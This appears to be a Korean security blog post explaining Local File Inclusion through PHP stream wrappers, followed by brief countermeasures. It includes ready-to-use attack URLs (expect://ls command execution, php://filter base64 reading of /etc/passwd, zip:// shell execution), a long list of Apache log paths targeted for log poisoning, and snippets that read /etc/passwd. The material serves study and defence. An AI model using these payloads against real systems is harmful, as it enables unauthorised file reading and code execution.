▶ Wrapper?
PHP 에는 URL style 프로토콜을 위한 wrapper들이 존재한다. 파일 시스템 관련 함수로 filename에 Wrapper을 써서 개발자의 의도와 다른 행위를 발생시킬 수 있다( UNION, ERROR, Blind SQL Injection에서도 SQL 시스템 함수를 사용한바가 있다.). 대표적인 시스템 함수들은 다음과 같다.
시스템 함수 | 기능 |
file:// | Accessing local filesystem |
http:// | Accessing HTTP(s) URLs |
ftp:// | Accessing FTP(s) URLs |
php:// | Accessing various I/O streams |
zlib:// | Compression Streams |
data:// | Data (RFC 2397) |
glob:// | Find pathnames matching pattern |
phar:// | PHP Archive |
※ Wrapper 참조 : https://www.php.net/manual/en/wrappers.php
PHP: Supported Protocols and Wrappers - Manual
Even though their names will be the same, you can have more than one //memory or //temp stream open concurrently; each time you fopen() such a stream, a NEW stream will be opened independently of the others.This is hinted at by the fact you don't add any u
www.php.net
LFI 공격을 하면서 유용하게 사용할 수 있는 wrapper는
1. expect:// (system command 실행 : www.[웹 사이트의 주소].index.php?page=expect://ls) ,
2. php://filter/ (다양한 I/O스트림 다루는데 사용, 대표적으로 base64 encoding으로 문서 열람 : www.[웹 사이트의 주소].index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd)
3. zip:// (zip파일의 압축을 푼 다음에 파일안에 있는 코드를 실행시켜 주는 기능 : www.[웹 사이트의 주소].index.php?page=zip://file.zip#shell.php)
라고 한다.
공격자가 아파치 서버 공격 시, 기본적으로 존재하는 access_log, error_log 파일을 가장 먼저 공격한다. 주요 access_log와 error_log의 공격 경로는 다음과 같다.
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/opt/lampp/logs/access_log
/opt/lampp/logs/error_log
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/www/logs/thttpd_log
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/thttpd_log
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access.log
/var/www/logs/access_log
/var/www/logs/error.log
/var/www/logs/error_log
– – – – – – – – – – – – – – – – – – – – –
C:\apache\logs\access.log
C:\apache\logs\error.log
C:\Program Files\Apache Group\Apache\logs\access.log
C:\Program Files\Apache Group\Apache\logs\error.log
C:\program files\wamp\apache2\logs
C:\wamp\apache2\logs
C:\wamp\logs
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
▶ Wrapper 함수 사용 예시
Wrapper 함수를 다음과 같이 사용할 수 있다.
※ file:// 사용 예시
1
2
3
4
5
6
7
8
|
<?php
include "file:///etc/passwd";
/*
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
*/
|
cs |
※ http:// 사용 예시 ( allow_url_include 가 허용되어 있어야 함.)
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?php
// php.ini => allow_url_include=Off
include "http://example.com";
/*
Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_include=0
*/
echo file_get_contents("http://example.com");
// allow_url_include 영향 받지 않음.
/*
<!doctype html>
<html>
*/
?>
|
cs |
※ data:// 사용 예시 ( allow_url_include 의 영향을 받음, RFC 2397 형식을 처리)
1
2
3
|
<?php
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
// I love PHP
|
cs |
※ php:// filter 사용 예시
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
<?php
// 데이터 리드 시 대문자로 처리.
include 'php://filter/read=string.toupper/resource=/etc/passwd';
/*
ROOT:X:0:0:ROOT:/ROOT:/USR/BIN/ZSH
DAEMON:X:1:1:DAEMON:/USR/SBIN:/USR/SBIN/NOLOGIN
...
*/
// 데이터 출력 시 대문자로 처리.
file_put_contents("php://filter/write=string.toupper/resource=example.txt","Hello World");
/*
$ cat example.txt
HELLO WORLD
*/
include 'test.php';
include 'php://filter/read=convert.base64-encode/resource=test.php';
/*
PD9waHAgZWNobyAndGVzdCAhJzsgPz4=
base64_decode("PD9waHAgZWNobyAndGVzdCAhJzsgPz4="); ==> <?php echo 'test !'; ?>
*/
?>
|
cs |
▶ LFI 대응방안?
[1] 입력값 치환: ../ 와 같은 문자가 전달됐을 경우 다른 문자로 치환해야 한다.
[2] 문자필터링 PHP
[3] 주요 디렉토리 필터링 : 예시)
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default
[4] LFI 필터 사용
출처 : dreamhack.io
'정보보안(웹해킹) > 기타' 카테고리의 다른 글
[PHP 취약점] 총 정리 (0) | 2023.01.05 |
---|---|
인증/인가 취약점 (0) | 2022.12.30 |
CRLF injection (0) | 2022.12.22 |
CSS Injection (0) | 2022.12.19 |
댓글